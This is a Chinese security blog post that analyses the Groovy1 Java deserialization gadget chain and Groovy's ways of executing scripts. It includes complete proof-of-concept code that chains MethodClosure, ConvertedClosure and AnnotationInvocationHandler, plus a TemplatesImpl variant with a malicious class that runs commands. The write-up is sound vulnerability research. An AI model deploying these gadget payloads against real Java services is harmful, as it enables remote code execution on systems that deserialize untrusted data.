Groovy 链分析
前言
Groovy1 @frohoff groovy:2.3.9
一条 RCE 链, 先对 Groovy 做一些介绍: Groovy是一种基于Java平台的动态编程语言,它允许以更简洁和灵活的方式编写Java代码,并且可以与Java无缝集成,在Java虚拟机(JVM)上运行(编译后的后缀为.class文件)。因此,Groovy可以直接使用Java的类库和API,无需进行特殊的转换或适配.
环境安装 & 初识 & 执行方式
Groovy Shell【底层通过 GroovyClassLoader】
对于环境安装可以参考: https://www.w3ccoo.com/groovy/groovy_environment.html, 这里只做初步的说明.
可以在官网中安装 ZIP 版本的 Groovy, 最终使用groovysh
进入groovy
的交互界面 (groovyShell):
当然在Java
中引入groovy
依赖后也可以直接调用其API:
GroovyShell groovyShell = new GroovyShell();
groovyShell.evaluate("println 'Hello World'");
当然也可以进行远程执行 groovy:
使用 python 启动一个 HTTP 服务后, 运行如下代码即可:
GroovyShell groovyShell = new GroovyShell();
groovyShell.evaluate(new java.net.URI("http://127.0.0.1:8000/HelloWorld.groovy"));
Groovy ClassLoader
当然如果想在 Java 中使用可以引入groovy
的依赖:
<dependencies>
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy</artifactId><!-- 如果想依赖全部包,可以使用 groovy-all -->
<version>2.4.5</version>
</dependency>
</dependencies>
引入依赖后, 根据groovy
的语法可以写出如下groovy
脚本, 命名为hello.groovy
, 如下:
classHello {
String say(String name) {
println "Hello, $name"
if (name == "Heihu577") {
Runtime.getRuntime().exec("calc")
return"Success"
} else {
return"Fail"
}
}
}
我们可以创建java代码
用于解析该groovy脚本
, 并进行解析, 实例化Hello类
并调用其say方法
:
package com.heihu577;
import groovy.lang.GroovyClassLoader;
import java.io.File;
publicclassMain{
publicstaticvoidmain(String[] args)throws Exception {
GroovyClassLoader groovyClassLoader = new GroovyClassLoader();
Class clazz = groovyClassLoader.parseClass(new File("./hello.groovy")); // class Hello
Object o = clazz.newInstance();
System.out.println(clazz.getDeclaredMethod("say", String.class).invoke(o, "Heihu577"));
System.out.println(clazz.getDeclaredMethod("say", String.class).invoke(o, "Helen"));
}
}
可以从中感受到的是, 通过GroovyClassLoader::parseClass
可以将groovy
脚本进行解析并装载到JVM
中, 随后即可通过反射调用其方法了. 当然也可以解析groovy
脚本 (字符串形式):
String groovyCode = "class Person {public Person(){println 'HelloWorld'}}";
GroovyClassLoader groovyClassLoader = new GroovyClassLoader();
Class aClass = groovyClassLoader.parseClass(groovyCode); // class Person
aClass.newInstance();
当然也能够进行远程加载:
GroovyScriptEngine
也可以通过GroovyScriptEngine
进行远程加载并执行Groovy
脚本, 定义一个Person.groovy
文件, 并启动 python 服务:
classPerson {public Person(){println 'HelloWorld'}}
随后执行如下代码:
GroovyScriptEngine groovyScriptEngine = new GroovyScriptEngine("http://127.0.0.1:8000/");
groovyScriptEngine.run("Person.groovy", "");
运行后, 会向http://127.0.0.1:8000/Person.groovy
发送请求, 并实例化. 相关的 API 文档可参考:
ScriptEngineManager
除了使用上述方式以外, 也可以通过ScriptEngineManager
调用groovy
, 但是这里就不能使用groovy依赖
了, 而必须使用groovy-all依赖
才可以使用这种方式.
<dependencies>
<dependency>
<groupId>org.codehaus.groovy</groupId>
<artifactId>groovy-all</artifactId>
<version>2.3.9</version>
</dependency>
</dependencies>
为什么呢?这里就需要先进行介绍 ScriptEngineManager 了.
JSR 223 简单介绍 & JS 引擎介绍
这里可以参考: https://www.cnblogs.com/chenying99/articles/3216264.html, 其实说的很简单, 在 JDK 1.5 版本开始引入了ScriptEngineManager
, 其核心功能则是在 JVM 上使用其他编程语言的语法进行执行, 在 JDK < 11 版本中默认存在一个 JavaScript 解释引擎常被攻击者进行利用, 我们可以编写如下代码来进行遍历当前 JVM 所支持解析的脚本语言:
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
List<ScriptEngineFactory> engineFactories = scriptEngineManager.getEngineFactories();
if (engineFactories.size() == 0) {
System.out.println("本JVM尚不支持任何脚本引擎");
return;
}
System.out.println("本JVM支持的脚本引擎有:");
for (ScriptEngineFactory engineFactory : engineFactories) {
System.out.println("引擎名称:" + engineFactory.getEngineName());
System.out.println("t可被ScriptEngineManager识别的名称:" + engineFactory.getNames());
System.out.println("t该引擎支持的脚本语言名称:" + engineFactory.getLanguageName());
System.out.println("t是否线程安全:" + engineFactory.getParameter("THREADING"));
}
其最终结果如下:
本JVM支持的脚本引擎有:
引擎名称:Oracle Nashorn
可被ScriptEngineManager识别的名称:[nashorn, Nashorn, js, JS, JavaScript, javascript, ECMAScript, ecmascript]
该引擎支持的脚本语言名称:ECMAScript
是否线程安全:null
那么我们就可以通过ScriptEngineManager::getEngineByName
来对其进行调用:
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine javascript = scriptEngineManager.getEngineByName("javascript");
javascript.eval("var name = 'Heihu577'"); // 以 JS 的形式定义变量
javascript.eval("print('Hello ' + name)"); // Hello Heihu577
javascript.eval("java.lang.Runtime.getRuntime().exec('calc')"); // 弹窗
以上是对 ScriptEngineManager 简单的使用, 而该类是如何加载脚本引擎的呢?实际上这里使用的是 SPI 机制, 可参考: https://mp.weixin.qq.com/s/8q4XMhoWL9bqNNp83j6-HA
定位到 ScriptEngineManager 初始化代码块如下:
这是一个经典的 SPI 加载的案例, 实际上是读取到了%JRE_HOME%libext (Ext ClassLoader所加载的目录)
中的nashorn.jar
文件中的/META-INF/services/javax.script.ScriptEngineFactory
文件进行加载的, 首先看一下加载所用的 ClassLoader:
System.out.println(NashornScriptEngineFactory.class.getClassLoader()); // sun.misc.Launcher$ExtClassLoader@2503dbd3
实际加载来源如图:
ScriptEngineManager 注册方法
上述通过 SPI 最终会注册到ScriptEngineManager::engineSpis
成员属性中, 如图:
除了 SPI 自动扫描, 我们也可以进行手动注册, 调用ScriptEngineManager::registerEngineName
进行注册, 如图:
最终会注册到ScriptEngineManager::nameAssociations
成员属性中, 但这并不奇怪, 因为它们将来都会调用ScriptEngineManager::getEngineByName
方法进行获取出来:
Groovy-all 使用案例【底层通过GroovyClassLoader】
上述案例通过 JVM 自带的 JavaScript 引擎进行演示了, 在 groovy-all
组件中, 同样可以发现 SPI 机制注册的引擎:
在groovy-all
中实现了基于ScriptEngineFactory接口
的SPI, 这也就是为什么groovy-all
可以使用ScriptEngineManager
, 而groovy
中不可以的原因. 那么进行调用案例如下:
ScriptEngineManager scriptEngineManager = new ScriptEngineManager(); // 创建 ScriptEngineManager
ScriptEngine groovy = scriptEngineManager.getEngineByName("groovy"); // groovy-all 实现了 SPI 机制
Bindings bindings = groovy.createBindings(); // 创建 Bindings 全局变量
bindings.put("name", "Heihu577"); // 定义全局变量
groovy.eval("def sayHello(){println "Hello~ $name"}", bindings); // 定义方法, 绑定全局变量
Object o = ((Invocable) groovy).invokeFunction("sayHello", null); // 通过反射调用方法
// Hello~ Heihu577
基于 groovy 的命令执行
String.execute()
在groovy
这门独特的语言中, 提供了一种便利的命令执行方式, 可以参考官方的 API 文档: https://docs.groovy-lang.org/latest/html/groovy-jdk/java/lang/String.html#execute()
进而可以通过如下形式进行命令执行:
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine groovy = scriptEngineManager.getEngineByName("groovy");
groovy.eval("'calc'.execute()");
通过官网可以看到该语法糖的底层则是使用ProcessBuilder
进行命令执行的. 当然如果想要回显可通过如下形式:
groovy.eval("println 'whoami'.execute().text");
Java 原生命令执行
groovy 语法忘记了的话, groovy 给程序员提供了 Java 原生命令的调用方式, 直接调用即可:
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine groovy = scriptEngineManager.getEngineByName("groovy");
groovy.eval("Runtime.getRuntime().exec('calc')");
解析变量
类似于 PHP, 可以通过在双引号中放入${表达式}
进行执行语句, 给出案例:
Class clazz = new GroovyClassLoader().parseClass("class Person {public Person(){" +
"println "双引号解析: ${"calc".execute()}"" +
"}}");
clazz.newInstance();
链路分析
MethodClosure 说明
在使用ScriptEngineManager
使用eval
进行执行脚本时, 会实例化org.codehaus.groovy.runtime.MethodClosure
对象, 如下:
ScriptEngineManager scriptEngineManager = new ScriptEngineManager();
ScriptEngine groovy = scriptEngineManager.getEngineByName("groovy");
// System.out.println(groovy.eval("def closureWithOneArg = { String str -> str.toUpperCase() }n" +
// "closureWithOneArg('hello world')"));
groovy.eval("println '123'");
调用栈如下:
通过ScriptEngine::eval函数
可以看到的是, 会使用MethodClosure
进行对象.方法
进行执行, 那么如何使用MethodClosure
进行执行groovy方法
呢?
MethodClosure 命令执行
MethodClosure execMethod = new MethodClosure(对象, 方法名);
execMethod.call(传递的参数);
根据上述案例我们可以进行一个命令执行, 首先是 Runtime:
MethodClosure execMethod = new MethodClosure(Runtime.getRuntime(), "exec");
execMethod.call("calc");
这行代码等同于Runtime.getRuntime().exec("calc")
. 而我们知道groovy
中存在String.execute()
方法可以进行命令执行, 那么也就衍生出这样的写法:
MethodClosure methodClosure = new MethodClosure("calc", "execute");
methodClosure.call();
等同于"calc".execute()
, 那么MethodClosure
在底层中简单的流程是怎样的?
这是new MethodClosure
时所初始化的metaClass
成员属性, 在调用call
方法时会用到:
这便是一个简单的调用过程.
ysoserial 中的分析
MethodClosure::call -> 危险方法
首先, MethodClosure
实现了Serializable
, 是可序列化的, 其次:
MethodClosure methodClosure = new MethodClosure("calc", "execute");
methodClosure.call();
只要调用了MethodClosure::call()
, 那么就可以进行命令执行. (根据继承链来讲, 这里实际上是 Closure::call)
ConvertedClosure::invokeCustom -> 链式调用
那么谁调用了Closure::call
方法呢?在ConvertedClosure
类中我们可以看到:
这里ConvertedClosure
是一个代理类 (实现了 InvocationHandler), 它的invoke
方法中会调用invokeCustom
方法, 所以这是一条代理链. 但是由于最终调用的"calc".execute()
是无参方法, 所以我们只能通过调用任意无参方法才可以, 否则代理对象中的args
存在参数, 就会形成"calc".execute(有参数...)
的情况, 那么就会抛出异常! 这里使用entrySet
:
MethodClosure methodClosure = new MethodClosure("calc", "execute");
Map o = (Map) Proxy.newProxyInstance(
Main.class.getClassLoader(),
newClass[]{Map.class},
newConvertedClosure(methodClosure, "entrySet")
);
o.entrySet();
运行即可弹出计算器~
AnnotationInvocationHandler::readObject -> 链路开头
而谁调用了Map::entrySet
呢?熟悉的AnnotationInvocationHandler
回来了, 在它的readObject
方法中进行调用了entrySet
方法, 如图:
最终可编写如下POC:
package com.heihu577;
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import org.junit.Test;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Proxy;
import java.util.Map;
publicclassMain{
@Test
publicvoidserialTest()throws Exception {
MethodClosure methodClosure = new MethodClosure("calc", "execute");
Map o = (Map) Proxy.newProxyInstance(
Main.class.getClassLoader(),
newClass[]{Map.class},
newConvertedClosure(methodClosure, "entrySet")
);
Object evilObject = getAnnotationInvocationHandler(o);
unserialize(serialize(evilObject));
}
public Object getAnnotationInvocationHandler(Object o)throws Exception {
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object annotationInvocationHandler = declaredConstructor.newInstance(Target.class, o);
return annotationInvocationHandler;
}
publicbyte[] serialize(Object o) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
new ObjectOutputStream(byteArrayOutputStream).writeObject(o);
return byteArrayOutputStream.toByteArray();
}
public Object unserialize(byte[] bytes){
try {
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(bytes));
return objectInputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
returnnull;
}
}
一些魔改
TemplatesImpl::getOutputProperties
无参方法还有TemplatesImpl::getOutputProperties
, 并且TemplatesImpl
是实现了Serializable
的, 那么编写如下 POC:
package com.heihu577;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.codehaus.groovy.runtime.ConvertedClosure;
import org.codehaus.groovy.runtime.MethodClosure;
import org.junit.Test;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Proxy;
import java.util.Map;
publicclassMain{
@Test
publicvoidserialTest()throws Exception {
MethodClosure methodClosure = new MethodClosure(getTemplatesImpl(), "getOutputProperties");
Map o = (Map) Proxy.newProxyInstance(
Main.class.getClassLoader(),
newClass[]{Map.class},
newConvertedClosure(methodClosure, "entrySet")
);
Object evilObject = getAnnotationInvocationHandler(o);
unserialize(serialize(evilObject));
}
public TemplatesImpl getTemplatesImpl()throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Field bytecodes = templates.getClass().getDeclaredField("_bytecodes"); // 最终调用到 defineClass 方法中加载类字节码
Field name = templates.getClass().getDeclaredField("_name"); // 放置任意值
name.setAccessible(true);
bytecodes.setAccessible(true);
byte[][] myBytes = newbyte[1][];
myBytes[0] = Repository.lookupClass(Evil.class).getBytes(); // 这个恶意类必须继承`com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet`抽象类, 之前有分析过, 就不提及了.
bytecodes.set(templates, myBytes);
name.set(templates, "");
return templates;
}
public Object getAnnotationInvocationHandler(Object o)throws Exception {
Class<?> clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = clazz.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object annotationInvocationHandler = declaredConstructor.newInstance(Target.class, o);
return annotationInvocationHandler;
}
publicbyte[] serialize(Object o) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
new ObjectOutputStream(byteArrayOutputStream).writeObject(o);
return byteArrayOutputStream.toByteArray();
}
public Object unserialize(byte[] bytes){
try {
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(bytes));
return objectInputStream.readObject();
} catch (Exception e) {
e.printStackTrace();
}
returnnull;
}
}
准备Evil
类如下:
package com.heihu577;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
publicclassEvilextendsAbstractTranslet{
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
thrownew RuntimeException(e);
}
}
@Override
publicvoidtransform(DOM document, SerializationHandler[] handlers)throws TransletException {}
@Override
publicvoidtransform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)throws TransletException {}
}
将从命令执行转化为代码执行~
关于其他
既然能够调用任意无参方法, 其实这里能做的变形有很多, 类似于 FastJson 的扫描 getter & setter 等. 先不挖掘了.
Reference
w3cschool: https://www.w3ccoo.com/groovy/index.html
中文教学手册: https://groovys.readthedocs.io/zh/latest/
英文官网: https://www.groovy-lang.org/, 中文官网: https://groovy-lang.cn/
Java API 手册: https://docs.groovy-lang.org/latest/html/gapi/
groovy 介绍与使用: https://mp.weixin.qq.com/s/z6pNYmWQI-Cq_10CCg2AuA
groovy 反序列化链分析: https://www.cnblogs.com/F12-blog/p/18133122
groovy 反序列化分析2: https://h3rmesk1t.github.io/2023/10/01/Groovy/
Java安全中Groovy组件从反序列化到命令注入及绕过和在白盒中的排查方法: https://xz.aliyun.com/news/11461
SPI 机制: https://mp.weixin.qq.com/s/8q4XMhoWL9bqNNp83j6-HA
groovy 闭包: https://www.jianshu.com/p/c02a456e1943
JAVA安全之Groovy命令注入刨析: https://mp.weixin.qq.com/s/SeVjcsReZIxVMdMYxnLuaQ
原文始发于微信公众号(Heihu Share):Java 安全 | Groovy 与 ScriptEngineManager
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论